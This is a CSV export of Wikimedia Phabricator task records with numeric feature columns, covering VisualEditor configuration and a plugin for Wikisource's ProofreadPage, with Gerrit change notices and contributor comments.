538884,"Remove ""sleep"" from tests",,,,1443702056,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
230856,"Remove ""sleep"" from tests",,,,1386004108,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
538881,"Remove ""sleep"" from tests",,,,1443701949,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
230850,"Remove ""sleep"" from tests",,,,1384961357,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
538883,"Remove ""sleep"" from tests",,,,1443702034,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
230843,"Remove ""sleep"" from tests",,,,1384960949,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
538882,"Remove ""sleep"" from tests",,,,1443701981,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
230837,"Remove ""sleep"" from tests",,,,1381410981,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
48871,VisualEditor: mw.ViewPageTarget tabLayout should be configurable as part of mw-config,"mw.ViewPageTarget tabLayout is currently hard-coded, which means that we can't have VE work in replace mode on one wiki and add mode on another.

[No doubt other aspects of the integration configuration should not be hard-coded.]

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1365032760,1370485930.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-iciq5e24fktvreyuptk3,task_description,resolved,True,c1,1,True,False,True,-13,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,7.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,1.0,7.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.970149253731343,0.746268656716418,"mw.ViewPageTarget tabLayout is currently hard-coded, which means that we can't have VE work in replace mode on one wiki and add mode on another.

[No doubt other aspects of the integration configuration should not be hard-coded.]

--------------------------
**Version**: unspecified
**Severity**: minor"
229986,VisualEditor: mw.ViewPageTarget tabLayout should be configurable as part of mw-config,Related URL: https://gerrit.wikimedia.org/r/66881 (Gerrit Change I3fcb0c2903ae62d61ff789b5504e0ea23932121b),,,1370298230,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-iciq5e24fktvreyuptk3,task_subcomment,,True,c1,1,False,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I3fcb0c2903ae62d61ff789b5504e0ea23932121b)
48580,Create a VisualEditor plugin to integrate with ProofreadPage,"Page: pages are not plain wikitext pages but are split into three textareas: header, footer and body and a proofreading level tag (note 1).
So, an adaptation of the VisualEditor to these pages is needed in order to make edition of the pages work.

The UI need to be tweaked in order to allow the splitting of the main textarea into three and the edition of the Proofreading level at the save of page as it works currently for wikitext editing (example: https://en.wikisource.org/w/index.php?title=Page:La_Fontaine_-_The_Original_Fables_Of,_1913.djvu/20&action=edit ).

An other useful (but less important thing) things is to add modules to the Visual Editor to support specific tags used by Wikisource like <pages>, <section> and <poem>.

note 1: structure of the page as save in the database:
<noinclude><pagequality level=""LEVEL"" user=""LAST PROOFREADER"" />HEADER<div class=""pagetext"">BODY<noinclude>FOOTER</noinclude>

--------------------------
**Version**: unspecified
**Severity**: enhancement

This card tracks a proposal from the 2015 Community Wishlist Survey: https://meta.wikimedia.org/wiki/2015_Community_Wishlist_Survey

This proposal received 41 support votes, and was ranked #23 out of 107 proposals. https://meta.wikimedia.org/wiki/2015_Community_Wishlist_Survey/Wikisource#Visual_Editor_adapted_for_Wikisource",Low,25.0,1364329860,1466598904.0,PHID-USER-5paybpgtxjrhikdos3p5,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-v7kj4prknc3sujshfgg3,task_description,resolved,True,c1,1,False,False,False,-14,,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,3.3333333333333335,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,9.666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,0.0,0.0,15.333333333333334,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,2.0,8.666666666666666,0.0,2.3333333333333335,7.0,0.0,0.0,0.0,0.3333333333333333,2.0,0.0,3.3333333333333335,0.0,0.3333333333333333,9.666666666666666,6.333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,4.136225266362253,0.7109335362760021,"Page: pages are not plain wikitext pages but are split into three textareas: header, footer and body and a proofreading level tag (note 1).
So, an adaptation of the VisualEditor to these pages is needed in order to make edition of the pages work.

The UI need to be tweaked in order to allow the splitting of the main textarea into three and the edition of the Proofreading level at the save of page as it works currently for wikitext editing (example: URL ).

An other useful (but less important thing) things is to add modules to the Visual Editor to support specific tags used by Wikisource like <pages>, <section> and <poem>.

note 1: structure of the page as save in the database:
<noinclude><pagequality level=""LEVEL"" user=""LAST PROOFREADER"" />HEADER<div class=""pagetext"">BODY<noinclude>FOOTER</noinclude>

--------------------------
**Version**: unspecified
**Severity**: enhancement

This card tracks a proposal from the 2015 Community Wishlist Survey: URL

This proposal received 41 support votes, and was ranked #23 out of 107 proposals. URL"
754599,Create a VisualEditor plugin to integrate with ProofreadPage,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVgmueGyHQCSeVEJeq-D} [2016-11-02T20:27:45Z] <arlolra> updated Parsoid to version 173d7e32 (T149241, T119228, T141723, T141905, T147742, T48580, T133320)",,,1478118471,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,174,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.588235294117647,0.7450980392156863,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2016-11-02T20:27:45Z] <arlolra> updated Parsoid to version 173d7e32 (T149241, T119228, T141723, T141905, T147742, T48580, T133320)"
745231,Create a VisualEditor plugin to integrate with ProofreadPage,"Change 295707 merged by jenkins-bot:
Allow extensions to handle specific contentmodels.

[[https://gerrit.wikimedia.org/r/295707]]",,,1476648660,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,171,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.2727272727272725,0.9090909090909091,"Change 295707 merged by jenkins-bot:
Allow extensions to handle specific contentmodels.

[[GERRIT_URL]]"
683693,Create a VisualEditor plugin to integrate with ProofreadPage,"Change 295707 had a related patch set uploaded (by Cscott):
Allow extensions to handle specific contentmodels.

[[https://gerrit.wikimedia.org/r/295707]]
",,,1466695881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,155,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.185185185185185,0.8888888888888888,"Change 295707 had a related patch set uploaded (by Cscott):
Allow extensions to handle specific contentmodels.

[[GERRIT_URL]]
"
683692,Create a VisualEditor plugin to integrate with ProofreadPage,Parsoid support for extensions implementing their own contentmodels at https://gerrit.wikimedia.org/r/295707 ,,,1466695854,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,True,,,155,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.2,1.0,Parsoid support for extensions implementing their own contentmodels at GERRIT_URL 
682952,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2398307, @Osnard wrote:
> Is there already a place/time made out to work on this during the Hackathon?

Table in Room 12 if you're not there!",,,1466599379,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,True,,,155,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,21.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0714285714285716,0.9285714285714286,"QUOTE
QUOTE

Table in Room 12 if you're not there!"
682946,Create a VisualEditor plugin to integrate with ProofreadPage,"Change 284681 merged by jenkins-bot:
Sectioned edit target for page namespace

[[https://gerrit.wikimedia.org/r/284681]]",,,1466598809,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,155,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.9047619047619048,"Change 284681 merged by jenkins-bot:
Sectioned edit target for page namespace

[[GERRIT_URL]]"
682813,Create a VisualEditor plugin to integrate with ProofreadPage,Is there already a place/time made out to work on this during the Hackathon?,,,1466584161,,PHID-USER-khiuzivvgcimpgvedbzf,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,155,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,24.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,1.0,Is there already a place/time made out to work on this during the Hackathon?
676717,Create a VisualEditor plugin to integrate with ProofreadPage,"when trying to insert > pages get a 404 error ;' trying to switch to code hangs.
when refresshing and repeating it saves properly. on chrome browser 
{F4145216}",,,1465443442,,PHID-USER-uclm66q7d2hquzahxskz,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,153,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,11.0,9.0,0.0,3.0,0.0,3.0,0.0,6.0,3.0,0.0,11.0,0.0,0.0,0.0,3.8285714285714287,0.8285714285714286,"when trying to insert > pages get a 404 error ;' trying to switch to code hangs.
when refresshing and repeating it saves properly. on chrome browser 
{F4145216}"
676716,Create a VisualEditor plugin to integrate with ProofreadPage,"when trying to insert > pages get a 404 error
{F4145216}",,,1465443336,,PHID-USER-uclm66q7d2hquzahxskz,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,153,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,3.357142857142857,1.0,"when trying to insert > pages get a 404 error
{F4145216}"
651751,Create a VisualEditor plugin to integrate with ProofreadPage,"@DannyH, you should subscribe to this :-)",,,1461661097,,PHID-USER-jhzyhftzsmppvszocqg2,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,147,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.875,1.0,"SCREEN_NAME, you should subscribe to this :-)"
650517,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2232258, @coren wrote:
>>>! In T48580#2228508, @jayvdb wrote:
>> Is it safe to assume this feature will not suddenly become active and in use in production once code from this task is merged?
> 
> It will certainly remain as a beta feature for quite some time, requiring explicit activation.

Well why not activate it on https://test2.wikipedia.org at the very least? The ProofreadPage extension is already 'enabled' there and nobody really uses it for proofreading; just for testing &/or illustrative purposes.

If not, please remember to make the beta ""option"" available there as well.",,,1461460533,,PHID-USER-fflcyhesfpbopooupqa3,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,0.0,0.0,2.0,0.0,3.0,5.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,17.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,15.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,3.0,9.0,9.0,2.0,6.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.9846153846153847,0.7538461538461538,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well why not activate it on URL at the very least? The ProofreadPage extension is already 'enabled' there and nobody really uses it for proofreading; just for testing &/or illustrative purposes.

If not, please remember to make the beta ""option"" available there as well."
650411,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2228508, @jayvdb wrote:
> Is it safe to assume this feature will not suddenly become active and in use in production once code from this task is merged?

It will certainly remain as a beta feature for quite some time, requiring explicit activation.",,,1461417141,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.428571428571429,0.9523809523809523,"QUOTE
QUOTE

It will certainly remain as a beta feature for quite some time, requiring explicit activation."
649672,Create a VisualEditor plugin to integrate with ProofreadPage,"Is it safe to assume this feature will not suddenly become active and in use in production once code from this task is merged?  Sorry that I need to ask ... but I have been unpleasantly surprised in the past (definitely not referring to the developers active on this or related task), and I hope to avoid that occurring in this case.

I think WS folk would like to play with it a little in a test bed before it becomes active somehow, and will need longer than a few days as the deploy process moves from beta/test/prod.

